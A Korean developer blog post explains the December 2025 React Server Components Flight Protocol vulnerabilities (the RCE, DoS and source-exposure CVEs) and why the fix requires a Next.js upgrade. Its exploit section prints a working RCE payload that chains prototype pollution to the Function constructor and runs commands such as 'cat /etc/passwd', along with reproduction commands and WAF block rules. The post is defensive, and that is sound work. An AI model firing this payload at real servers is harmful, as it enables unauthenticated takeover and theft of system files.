avatar
$
Published on

React 취약점인데 왜 Next.js를 업그레이드해야 하지?

Author
  • avatar
    Name
    yceffort

Table of Contents

서론

2025년 12월, React와 Next.js 생태계에 긴급 보안 패치가 발표됐다. CVSS 10.0 만점의 원격 코드 실행(RCE) 취약점이 발견된 것이다. 공격자가 특별히 조작된 HTTP 요청 하나만 보내면 서버에서 임의의 코드를 실행할 수 있는, 그야말로 최악의 취약점이었다.

보안 공지를 읽던 중 이상한 점을 발견했다. 취약점은 React의 react-server-dom-webpack 패키지에 있는데, 해결책은 Next.js를 업그레이드하라는 것이었다.

# React 취약점인데...
npm install next@15.5.9  # Next.js를 업그레이드?

자연스럽게 이런 생각이 들었다.

"아니, 그러면 npm install react@latest 하면 되는 거 아냐?"

결론부터 말하면, 안 된다. 그리고 이 "안 된다"에는 Next.js가 React를 다루는 방식에 대한 흥미로운(그리고 약간은 당황스러운) 이야기가 숨어있다.

취약점 개요

먼저 이번에 발표된 취약점들을 정리해보자.

CVE이름심각도유형발표일
CVE-2025-55182React2ShellCVSS 10.0RCE (원격 코드 실행)12월 3일
CVE-2025-55184-CVSS 7.5DoS (서비스 거부)12월 11일
CVE-2025-55183-CVSS 5.3소스 코드 노출12월 11일

모두 React Server Components의 Flight Protocol에서 발생하는 문제다. 영향받는 패키지는 다음과 같다.

  • react-server-dom-webpack (19.0.0 ~ 19.2.0)
  • react-server-dom-parcel (19.0.0 ~ 19.2.0)
  • react-server-dom-turbopack (19.0.0 ~ 19.2.0)

이 패키지들을 사용하는 프레임워크들, 즉 Next.js, React Router, Waku, Parcel RSC, Vite RSC 등이 모두 영향을 받는다.

CVE-2025-55182: React2Shell

취약점 개요

CVSS 10.0 만점. 원격 코드 실행(RCE) 취약점이다. 공격자가 HTTP 요청 하나로 서버에서 임의의 코드를 실행할 수 있다.

가장 무서운 점은 인증이 필요 없다는 것이다. 심지어 create-next-app으로 방금 생성한 빈 프로젝트도 즉시 취약하다. 개발자가 아무런 코드도 작성하지 않아도, 기본 설정 그대로 취약하다.

Flight Protocol이란?

취약점을 이해하려면 먼저 React Server Components(RSC)와 Flight Protocol을 알아야 한다.

RSC는 컴포넌트를 서버에서 렌더링하고, 그 결과를 클라이언트로 스트리밍하는 아키텍처다. 이때 서버와 클라이언트 간에 데이터를 주고받는 프로토콜이 "Flight Protocol"이다. 일종의 RPC(Remote Procedure Call) 메커니즘이라고 생각하면 된다.

RPC란?

RPC(Remote Procedure Call)는 원격 서버의 함수를 마치 로컬 함수처럼 호출할 수 있게 해주는 프로토콜이다. 네트워크 통신의 복잡함을 추상화해서, 개발자가 HTTP 요청/응답을 직접 다루지 않아도 되게 해준다.

// 일반적인 HTTP 요청 방식
const response = await fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({name: '홍길동', age: 30}),
})
const user = await response.json()

// RPC 방식 - 마치 로컬 함수를 호출하는 것처럼
const user = await createUser({name: '홍길동', age: 30})

RPC의 핵심은 직렬화(Serialization)역직렬화(Deserialization) 다.

대표적인 RPC 프로토콜로는 gRPC, JSON-RPC, XML-RPC 등이 있다. React의 Flight Protocol도 이런 RPC의 일종인데, React 컴포넌트 트리를 직렬화/역직렬화하는 데 특화되어 있다.

Flight Protocol의 역할

Flight Protocol은 두 가지 역할을 한다.

1. Server → Client: RSC 렌더링 결과 전송

서버 컴포넌트의 렌더링 결과(React 엘리먼트 트리)를 클라이언트로 스트리밍한다. HTML이 아니라 React가 이해할 수 있는 형태로 보내서, 클라이언트에서 기존 트리와 병합(reconciliation)할 수 있게 한다.

2. Client → Server: Server Action 호출

클라이언트에서 Server Function(Server Action)을 호출할 때, 함수 인자를 직렬화해서 서버로 보낸다. 서버는 이를 역직렬화해서 실제 함수를 실행한다.

이번 취약점은 Client → Server 방향, 즉 Server Action 호출 시 역직렬화 과정에서 발생했다.

왜 Flight Protocol이 필요한가?

일반적인 JSON으로는 React 컴포넌트 트리를 전송할 수 없다. JSON은 함수, undefined, Date 객체, 순환 참조 등을 표현할 수 없기 때문이다. 예를 들어:

// 이걸 JSON으로 어떻게 보낼 것인가?
const element = {
  type: MyComponent, // 함수!
  props: {
    onClick: handleClick, // 함수!
    date: new Date(), // Date 객체!
  },
}

JSON.stringify(element) // 💥 함수는 직렬화 불가

Flight Protocol은 이 문제를 해결하기 위해 React 팀이 만든 커스텀 직렬화 포맷이다.

Wire Format 구조

Flight Protocol은 간단한 행 기반 포맷을 사용한다. 한 줄에 하나의 JSON blob이 있고, ID로 태그되어 있다.

M1:{"id":"./src/ClientComponent.client.js","chunks":["client1"],"name":""}
S2:"react.suspense"
J0:["$","@1",null,{"children":["$","span",null,{"children":"Hello from server"}]}]
J3:["$","ul",null,{"children":[["$","li",null,{"children":"Item 1"}]]}]

각 라인의 접두사는 다른 의미를 가진다:

접두사의미설명
MModule클라이언트 컴포넌트의 모듈 참조 (파일 위치, 번들 청크 정보)
JJSON실제 React 엘리먼트 트리
SSymbolReact 내부 심볼 (예: react.suspense)
IValue일반 값
FFunctionServer Function 참조

특수 문법: $ 접두사

Flight Protocol은 JSON으로 표현할 수 없는 값들을 $ 접두사로 인코딩한다.

// 실제 Flight 페이로드 예시
;['$', '@1', null, {children: ['$', 'span', null, {children: 'Hello'}]}]
문법의미예시
$React 엘리먼트["$", "div", null, {...}]
@1모듈 참조 (M1 라인 참조)클라이언트 컴포넌트
$L1Lazy 컴포넌트아직 로드되지 않은 컴포넌트
$1청크 참조이전에 정의된 청크 1번
$@0Raw 청크 참조해석되지 않은 청크 0번
$B0Blob 참조바이너리 데이터

스트리밍 방식

Flight Protocol의 강점은 스트리밍이다. 서버가 전체 트리를 완성할 때까지 기다리지 않고, 준비된 부분부터 청크 단위로 보낸다.

// 1. 먼저 레이아웃이 도착
J0: ['$', 'main', null, {children: ['$L1']}] // $L1은 아직 로딩 중

// 2. Suspense 폴백 표시

// 3. 나중에 콘텐츠가 도착
J1: ['$', 'article', null, {children: '로딩 완료!'}]

// 4. $L1이 J1로 교체되면서 화면 업데이트

클라이언트는 한 줄씩 읽으면서 즉시 처리할 수 있다. Suspense 경계를 만나면 폴백을 보여주고, 나중에 데이터가 도착하면 교체한다.

청크(Chunk) 시스템

RSC는 내부적으로 청크(Chunk) 라는 객체로 데이터를 관리한다. 각 청크는 상태를 가진다.

// 청크의 내부 구조 (단순화)
const chunk = {
  status: 'pending' | 'resolved_model' | 'resolved_module' | 'rejected',
  value: any, // 실제 데이터
  reason: any, // 에러 정보
  _response: Response, // 응답 객체 참조
}

청크가 Promise처럼 동작하기 때문에, React는 then 메서드를 호출해서 값을 얻는다. 바로 이 부분이 취약점의 핵심이다.

Server → Client vs Client → Server

Flight Protocol은 양방향으로 동작한다.

Server → Client (RSC Payload)

  • 서버 컴포넌트 렌더링 결과를 클라이언트로 전송
  • HTML이 아닌 React 엘리먼트 트리 형태

Client → Server (Server Action)

  • 클라이언트에서 Server Function 호출 시 인자 전송
  • multipart/form-data 형식으로 전송
  • 취약점은 이 방향에서 발생한다
POST /api HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Next-Action: abc123

------WebKitFormBoundary
Content-Disposition: form-data; name="0"

{"name": "홍길동", "age": 30}
------WebKitFormBoundary--

서버가 이 요청을 받으면 Flight Protocol로 역직렬화해서 Server Function에 전달한다. 문제는 이 역직렬화 과정에서 __proto__ 같은 위험한 키를 검증하지 않았다는 것이다.

프로토타입 오염(Prototype Pollution)

JavaScript에서 모든 객체는 프로토타입 체인을 통해 상위 객체의 속성을 상속받는다. __proto__를 통해 이 체인에 접근할 수 있다.

const obj = {}
console.log(obj.toString) // [Function: toString]
// obj에는 toString이 없지만, Object.prototype에서 상속받음

프로토타입 오염은 이 체인을 조작해서 모든 객체의 동작을 바꿔버리는 공격이다.

// 정상적인 객체
const obj = {}
console.log(obj.isAdmin) // undefined

// 프로토타입 오염
obj.__proto__.isAdmin = true

// 이제 모든 새 객체가 isAdmin을 가짐
const another = {}
console.log(another.isAdmin) // true 🚨

취약한 코드

Flight Protocol의 역직렬화 코드에서 문제가 발생했다. 클라이언트가 보낸 키를 검증 없이 객체 속성으로 사용했던 것이다.

// 패치 전 (취약한 코드)
return moduleExports[metadata[NAME]]

// 패치 후 (수정된 코드)
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
  return moduleExports[metadata[NAME]]
}

hasOwnProperty 검증이 없었기 때문에, 공격자가 metadata[NAME]"__proto__"를 넣으면 프로토타입 체인에 접근할 수 있었다.

프로토타입 오염에서 RCE까지

프로토타입 오염만으로는 코드 실행이 안 된다. 공격자들은 이를 Function 생성자에 접근하는 체인으로 연결했다.

Function 생성자 = eval

JavaScript에서 Function 생성자는 문자열로부터 함수를 생성할 수 있다.

const fn = new Function('return 1 + 1')
fn() // 2

얼핏 보면 무해해 보이지만, 이건 사실상 eval과 같다. 왜 그런지 살펴보자.

// eval: 문자열을 코드로 실행
eval('console.log("hello")') // "hello"

// Function: 문자열로 함수를 만들고 실행
new Function('console.log("hello")')() // "hello"

// 둘 다 임의의 코드를 실행할 수 있다
eval('1 + 2') // 3
new Function('return 1 + 2')() // 3

차이점이라면 eval은 현재 스코프에서 실행되고, Function은 전역 스코프에서 실행된다는 것이다. 하지만 보안 관점에서 둘 다 임의 코드 실행(Arbitrary Code Execution) 이 가능하다는 점에서 동일하게 위험하다.

// eval로 시스템 명령 실행
eval('process.mainModule.require("child_process").execSync("id").toString()')

// Function으로 시스템 명령 실행 - 똑같이 동작한다
new Function(
  'return process.mainModule.require("child_process").execSync("id").toString()',
)()

eval은 보안상 위험하다는 게 널리 알려져 있어서 CSP(Content Security Policy)로 차단하거나, 린터가 경고를 띄운다. 하지만 Function 생성자는 상대적으로 덜 알려져 있어서 방어가 허술한 경우가 많다.

공격자 입장에서 Function 생성자에 접근할 수만 있다면, 서버에서 원하는 코드를 실행할 수 있다.

const evil = new Function(
  'process.mainModule.require("child_process").execSync("cat /etc/passwd")',
)
evil() // 🚨 서버의 /etc/passwd 파일 내용 탈취

Function 생성자에 어떻게 접근하는가?

문제는 Function 생성자에 어떻게 접근하느냐다. 직접 Function을 호출하면 당연히 막힌다. 하지만 프로토타입 체인을 통하면 우회할 수 있다.

// 어떤 객체든 constructor를 통해 자신을 만든 생성자에 접근할 수 있다
const obj = {}
obj.constructor // [Function: Object]

// Object의 constructor는 Function이다
obj.constructor.constructor // [Function: Function]

// 프로토타입 체인으로도 접근 가능
obj.__proto__.constructor.constructor // [Function: Function]

공격자는 이 체인을 Flight Protocol의 특수 문법과 조합했다.

실제 익스플로잇 체인

msanft/CVE-2025-55182 PoC를 기반으로 익스플로잇 체인을 분석해보자.

1단계: Function 생성자 획득

files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

$1:__proto__:constructor:constructor 문법은 Flight Protocol에서 "청크 1의 __proto__.constructor.constructor에 접근하라"는 의미다. 이렇게 하면 Function 생성자를 얻을 수 있다.

2단계: Thenable 객체 생성

files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

JavaScript에서 then 속성을 가진 객체는 "thenable"로 취급된다. Promise처럼 .then()을 호출할 수 있다는 뜻이다. 여기서 thenFunction 생성자로 설정하면, 나중에 이 객체에 .then(code)를 호출할 때 Function(code)가 실행된다.

3단계: Chunk 상태 조작

Flight Protocol은 청크(chunk) 단위로 데이터를 처리한다. 각 청크는 상태를 가진다.

// 청크 상태
const PENDING = 'pending'
const RESOLVED_MODEL = 'resolved_model'
const RESOLVED_MODULE = 'resolved_module'
// ...

공격자는 $@ 문법(raw 청크 참조)을 사용해서 청크의 내부 상태를 직접 조작한다.

crafted_chunk = {
    "then": "$1:__proto__:then",        # then을 Function으로
    "status": "resolved_model",          # 상태를 resolved로 조작
    "reason": -1,
    "value": '{"then": "$B0"}',         # Blob 참조
    "_response": {
        "_prefix": "/* 실행할 코드 */",
        "_formData": {"get": "$1:constructor:constructor"}
    }
}

4단계: 코드 실행

initializeModelChunk 함수가 호출될 때, 조작된 청크의 thenFunction 생성자로 설정되어 있고, _prefix 필드의 코드가 실행된다.

// _prefix 필드에 들어가는 실제 페이로드
var res = process.mainModule
  .require('child_process')
  .execSync('id', {timeout: 5000})
  .toString()
  .trim()

throw Object.assign(new Error('NEXT_REDIRECT'), {digest: `${res}`})

이 코드는:

  1. child_process 모듈을 로드한다
  2. id 명령어를 실행한다
  3. 결과를 에러의 digest 필드에 담아서 던진다

에러 응답의 digest 필드를 확인하면 명령어 실행 결과를 볼 수 있다.

실제 페이로드 예시

POST / HTTP/1.1
Host: vulnerable-app.com
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('cat /etc/passwd')","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary
Content-Disposition: form-data; name="1"

$@0
------WebKitFormBoundary--

Next-Action 헤더만 있으면 된다. 실제로 Server Action이 정의되어 있을 필요도 없다. Flight Protocol 역직렬화 과정에서 이미 공격이 성공하기 때문이다.

왜 인증 없이 가능한가?

일반적인 웹 애플리케이션에서 요청 처리 흐름은 이렇다.

하지만 Flight Protocol의 역직렬화는 인증 확인보다 먼저 발생한다.

공격이 인증 레이어에 도달하기도 전에 실행되는 것이다. 이것이 이 취약점이 CVSS 10.0을 받은 이유 중 하나다.

실제 공격 사례

이 취약점은 이미 실제로 악용되고 있다. Wiz Research, Amazon Threat Intelligence, Datadog, Palo Alto Unit 42 등에서 공격을 관찰했다.

관찰된 공격 유형:

  • .env 파일 탈취
  • Cobalt Strike 비콘 배포
  • Sliver 페이로드 설치
  • 암호화폐 마이너 설치
  • 백도어 설치

특히 CL-STA-1015라는 중국 정부 연계 추정 APT 그룹의 활동도 관찰됐다고 한다. 이들은 SNOWLIGHT와 VShell 트로이목마를 설치하는 것으로 알려져 있다.

CVE-2025-55184: DoS (서비스 거부)

React2Shell(CVE-2025-55182) 취약점이 공개되고 불과 며칠 후, 같은 Flight Protocol에서 또 다른 취약점이 발견됐다. 이번엔 RCE는 아니지만, 서비스 전체를 마비시킬 수 있는 DoS 취약점이다.

취약점 개요

CVSS 7.5. RCE만큼 심각하진 않지만, 서비스 전체를 마비시킬 수 있는 취약점이다.

무한 루프 발생

악의적으로 조작된 HTTP 요청이 Flight Protocol 역직렬화 과정에서 무한 루프를 일으킨다.

Node.js는 싱글 스레드이기 때문에, 무한 루프가 발생하면 다른 요청을 처리할 수 없게 된다. 결과적으로 서버가 완전히 멈춘다.

영향 범위

  • Server Function이 있는 앱: 당연히 취약
  • Server Function이 없어도 RSC를 지원하는 앱: 취약
  • Next.js 13.3 이상: 취약 (DoS만)
  • Next.js 15.0 이상: 취약 (DoS + 소스 노출)

불완전한 초기 패치

처음 발표된 패치가 불완전했다. 일부 케이스를 놓쳤고, 이를 수정한 패치가 CVE-2025-67779로 다시 발표됐다. 따라서 최신 패치 버전으로 다시 업그레이드해야 한다.

수정 방법

PR #35351에서 수정 내용을 확인할 수 있다.

// 패치 전
while (chunk.status === 'pending') {
  const inspectedValue = chunk.value
  if (inspectedValue === chunk) {
    // 자기 자신 참조만 체크
    break
  }
  // ...
}

// 패치 후
let cycleProtection = 0
while (chunk.status === 'pending') {
  cycleProtection++
  const inspectedValue = chunk.value
  if (inspectedValue === chunk || cycleProtection > 1000) {
    break
  }
  // ...
}

기존 코드는 inspectedValue === chunk로 자기 자신을 참조하는 경우만 체크했다. A → A 같은 직접 순환은 잡을 수 있지만, A → B → A 같은 간접 순환은 못 잡는다. 그래서 카운터를 추가해서 1000번 넘으면 무조건 탈출하도록 했다.

순환 참조를 완벽하게 탐지하려면 방문한 노드를 Set으로 관리해야 하는데, 성능 오버헤드가 있다. 1000번 제한은 정상적인 사용에서는 절대 도달하지 않는 숫자니까, 단순하면서도 확실한 방법이다.

CVE-2025-55183: 소스 코드 노출

취약점 개요

CVSS 5.3. Server Function의 소스 코드가 응답에 포함되어 노출될 수 있다.

어떻게 노출되는가?

공격자가 조작된 HTTP 요청을 보내면, Server Function이 다른 Server Function의 소스 코드를 문자열화(stringify) 해서 응답에 포함시킨다.

// 원본 Server Function
'use server'

export async function serverFunction(name) {
  // 🚨 소스 코드에 하드코딩된 시크릿
  const conn = db.createConnection('SECRET_API_KEY')

  // 문자열 템플릿 사용
  return {
    id: user.id,
    message: `Hello, ${name}!`, // 여기가 문제
  }
}

${name} 부분이 문자열화될 때, 전달된 값이 함수라면 그 함수의 소스 코드가 문자열로 변환된다.

// 공격 응답
{
  "id": "tva1sfodwq",
  "message": "Hello, async function(a){
    console.log(\"serverFunction\");
    let b=i.createConnection(\"SECRET_API_KEY\");
    return{id:(await b.createUser(a)).id,message:`Hello, ${a}!`}
  }!"
}

노출되는 정보와 안전한 정보

정보 유형노출 여부
소스 코드에 하드코딩된 API 키, 비밀번호노출됨 🚨
Server Function의 비즈니스 로직노출됨
인라인된 상수 값노출됨
process.env.SECRET 환경변수안전 ✅
런타임에 주입되는 값안전 ✅

환경변수를 사용하는 값은 노출되지 않는다. 환경변수는 런타임에 평가되기 때문에, 컴파일된 소스 코드에는 변수 참조만 남아있다.

// 안전한 패턴
const conn = db.createConnection(process.env.DATABASE_URL)
// 컴파일 후: process.env.DATABASE_URL (값 자체는 노출 안 됨)

// 위험한 패턴
const conn = db.createConnection('postgresql://user:password@localhost/db')
// 컴파일 후: 'postgresql://user:password@localhost/db' (그대로 노출)

영향 범위

이 취약점은 Next.js 15.0 이상에서만 영향을 받는다. 14.x에서는 발생하지 않는다.

Next.js 버전DoS (CVE-2025-55184)소스 노출 (CVE-2025-55183)
13.3 ~ 14.x취약안전
15.0 이상취약취약

재현해보기

직접 확인해보고 싶다면, l4rm4nd/CVE-2025-55182 저장소에서 취약한 환경을 Docker로 띄워볼 수 있다.

# 취약한 Next.js 앱 실행
docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest

# AssetNote 스캐너로 취약점 확인
python3 scanner.py -u http://127.0.0.1:3000
# [VULNERABLE] Status: 303

# Nuclei 템플릿으로 확인
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000

실제로 명령어가 실행되는 걸 보면 등골이 서늘해진다. 절대로 인터넷에 노출된 환경에서 테스트하지 말 것.

Next.js의 숨겨진 React

여기서 핵심 질문으로 돌아오자. React 취약점인데 왜 Next.js를 업그레이드해야 하는가?

App Router의 비밀

Next.js 13에서 App Router가 도입되면서, Next.js는 React를 특별한 방식으로 다루기 시작했다.

packages/next/src/compiled/
├── react/
├── react-dom/
├── react-server-dom-webpack/      ← 취약한 패키지
├── react-server-dom-turbopack/
└── react-server-dom-parcel/

Next.js는 react-server-dom-webpack 같은 패키지를 npm에서 가져오는 게 아니라, 자체적으로 번들링해서 dist/compiled/ 디렉토리에 포함시킨다. 그리고 App Router를 사용하면 이 내부 버전이 사용된다.

// Next.js webpack 설정 (webpack-config.ts)
// https://github.com/vercel/next.js/blob/b17b31f16eb0a761ecdc0b821234d3cbe24f499f/packages/next/src/build/webpack-config.ts#L127-L135
browserNonTranspileModules: [
  /[\/]next[\/]dist[\/]compiled[\/](react|react-dom|react-server-dom-webpack)/,
]

즉, package.json에 어떤 React 버전을 설치하든, App Router는 Next.js가 번들링한 React를 사용한다.

Pages Router vs App Router

재미있는 점은 Pages Router와 App Router가 다른 React 버전을 사용한다는 것이다.

RouterReact 버전
Pages Routerpackage.json에 설치된 버전
App RouterNext.js 내부에 번들된 React Canary

같은 프로젝트에서 두 라우터를 같이 쓰면, 실제로 다른 React 버전이 돌아가고 있을 수 있다.

왜 이렇게 했을까?

React 팀의 공식 권장사항이다. React Server Components는 React 19가 정식 출시되기 전부터 Next.js에서 사용되어 왔다. 이를 위해 React 팀은 "Canary" 채널을 만들고, 프레임워크들이 이를 번들링해서 사용하도록 권장했다.

"React Server Components are ready to be adopted by frameworks. However, until the next major React release, the only way for a framework to adopt them is to ship a pinned Canary version of React." — React Canaries 블로그

이 방식의 장점은 명확하다.

  • React 정식 릴리스를 기다리지 않고 새 기능을 먼저 제공할 수 있다
  • Next.js가 자체 릴리스 일정에 맞춰 React 버전을 관리할 수 있다
  • 버그 수정을 빠르게 적용할 수 있다

하지만 이번 보안 취약점 사태에서 이 구조의 숨겨진 함정이 드러났다.

개발자가 빠지는 함정들

1. npm audit이 React 취약점임을 알려주지 않는다

$ npm audit
# Next.js 취약점으로만 표시됨
# React 코드에 문제가 있다는 건 알 수 없음

npm audit은 취약점을 감지하긴 한다. 하지만 Next.js 패키지의 취약점으로만 표시될 뿐, 실제 문제가 있는 코드가 React의 Flight Protocol이라는 건 알려주지 않는다. Next.js가 React를 내부에 번들링하고 있기 때문이다.

"Both Vite and Next.js simply bundle their dependencies directly in the package instead of relying on the npm node_modules mechanism."

2. package.json의 React 버전이 무시된다

GitHub Issue #86930에서 한 개발자가 발견한 문제다.

// package.json
{
  "dependencies": {
    "react": "19.1.2" // 안전한 버전을 설치했는데...
  }
}

React DevTools로 확인해보면:

  • Pages Router: 19.1.2 (package.json 버전)
  • App Router: 19.2.0-canary (Next.js 내부 버전)

개발자는 "나는 안전한 버전 쓰고 있어"라고 생각하지만, 실제로는 취약한 canary 버전이 사용되고 있는 것이다.

3. npm install react@latest가 안 먹힌다

npm install react@19.2.1 react-dom@19.2.1
# App Router는 여전히 Next.js 내부 번들 사용 → 취약점 그대로

React를 최신 버전으로 업데이트해도, App Router가 사용하는 건 Next.js 내부에 번들된 버전이다. 외부 React 버전은 완전히 무시된다.

4. overrides/resolutions도 효과 없다

npm의 overrides나 yarn의 resolutions를 사용하면 의존성 버전을 강제할 수 있다. 하지만 이것도 소용없다.

// package.json - 이렇게 해도 안 된다
{
  "overrides": {
    "react": "19.2.1"
  }
}

Next.js는 npm 의존성 해석을 거치지 않고, pre-compiled된 파일을 직접 import한다. overrides가 개입할 여지가 없다.

5. React 18 전용 라이브러리가 깨질 수 있다

package.json에 React 18을 명시했으니까 React 18만 지원하는 라이브러리를 설치했다. 그런데 App Router에서는 React 19 canary가 돌아가고 있다.

// package.json
{
  "dependencies": {
    "react": "18.2.0",
    "some-library": "^1.0.0" // peerDependencies: react ^18.0.0
  }
}

이 상황에서 발생할 수 있는 문제:

  • React 19에서 제거되거나 변경된 API를 사용하는 라이브러리가 런타임 에러 발생
  • peerDependencies 경고는 안 뜨는데 (package.json 기준으로는 맞으니까) 실제로는 호환 안 됨
  • 개발자는 "내 프로젝트는 React 18인데 왜 안 되지?" 하고 혼란에 빠짐

Pages Router에서는 잘 되는데 App Router에서만 이상하게 동작한다면, 이 버전 불일치를 의심해봐야 한다.

6. 보안 스캐너의 한계

도구감지 방식
npm auditNext.js CVE로만 감지
yarn auditNext.js CVE로만 감지
Snyk, DependabotNext.js CVE로만 감지
npx fix-react2shell-nextVercel 공식 도구로 감지 가능

기존 보안 도구들은 취약점을 감지하긴 하지만, Next.js 취약점으로만 표시된다. React 코드에 문제가 있다는 건 알 수 없다.

올바른 대응 방법

1. Next.js 업그레이드

유일한 해결책이다. Next.js 버전에 맞는 패치 버전으로 업그레이드해야 한다.

# 본인의 Next.js 버전에 맞게 선택
npm install next@14.2.35   # 14.x
npm install next@15.0.7    # 15.0.x
npm install next@15.1.11   # 15.1.x
npm install next@15.2.8    # 15.2.x
npm install next@15.3.8    # 15.3.x
npm install next@15.4.10   # 15.4.x
npm install next@15.5.9    # 15.5.x
npm install next@16.0.10   # 16.0.x

2. 자동화 도구 사용

Vercel에서 제공하는 자동 패치 도구를 사용할 수도 있다.

npx fix-react2shell-next

이 도구는 현재 Next.js 버전을 감지하고, 적절한 패치 버전으로 업그레이드해준다.

3. 시크릿 로테이션

만약 12월 4일 이전에 패치되지 않은 상태로 서버가 인터넷에 노출되어 있었다면, 모든 시크릿을 교체해야 한다. 이미 공격을 받았을 가능성이 있기 때문이다.

  • API 키
  • 데이터베이스 비밀번호
  • JWT 시크릿
  • 암호화 키
  • 기타 민감한 환경변수

교훈

이번 사태에서 몇 가지 교훈을 얻을 수 있다.

1. 프레임워크의 숨겨진 의존성을 인식하자

Next.js뿐만 아니라 Vite, Remix 등 많은 프레임워크가 내부적으로 의존성을 번들링한다. package.json만 보고 "우리 앱은 안전해"라고 단정하면 안 된다.

2. npm audit 결과를 제대로 해석하자

npm audit은 취약점을 감지하지만, 번들된 의존성의 경우 실제 문제가 어디에 있는지 정확히 알려주지 않는다. Next.js CVE가 떴다면, 그게 Next.js 자체 코드 문제인지 번들된 React 문제인지 공지를 확인해봐야 한다.

3. 프레임워크 보안 공지를 구독하자

React 보안 공지만 보고 있으면 이번 취약점을 놓칠 수 있었다. Next.js를 사용한다면 Next.js 보안 공지도 함께 구독해야 한다.

4. 심층 방어(Defense in Depth)를 적용하자

이번 취약점은 인증 없이 공격 가능했다. WAF(Web Application Firewall) 등 추가적인 방어 계층이 있었다면 피해를 줄일 수 있었을 것이다.

# WAF 규칙 예시: __proto__가 포함된 요청 차단
SecRule REQUEST_BODY "__proto__" "id:1001,deny,status:403"
SecRule REQUEST_BODY "constructor:constructor" "id:1002,deny,status:403"

물론 이건 임시 방편일 뿐, 근본적인 해결책은 패치다.

마치며

솔직히 이번 사태를 겪으면서 조금 씁쓸했다. Next.js가 React canary를 번들링하는 건 새로운 기능을 빨리 제공하기 위한 합리적인 선택이었다. 하지만 그 과정에서 개발자가 자신의 앱에 어떤 버전의 코드가 실행되고 있는지 파악하기 어려워졌다.

package.jsonreact: "19.1.2"라고 적혀있는데 실제로는 다른 버전이 돌아가고 있다는 건 알고 있었다. 하지만 이게 보안 문제로 이어질 줄은 몰랐다. npm audit이 취약점을 감지해도 Next.js 문제로만 표시되니, React 코드에 문제가 있다는 걸 인지하기 어렵다. 이건 개발자 경험(DX) 관점에서 분명히 문제가 있다.

물론 이게 Next.js만의 문제는 아니다. 현대 프론트엔드 생태계 전체가 복잡한 번들링과 컴파일 과정을 거치면서, "내 앱에 뭐가 들어있는지"를 파악하기가 점점 어려워지고 있다. 이번 사태가 그 문제를 다시 한번 상기시켜 준 것 같다.

일단 지금은 패치하자. 그리고 나중에 시간이 되면, 우리가 사용하는 프레임워크가 내부적으로 무엇을 하고 있는지 한번쯤 들여다보는 것도 좋겠다.

참고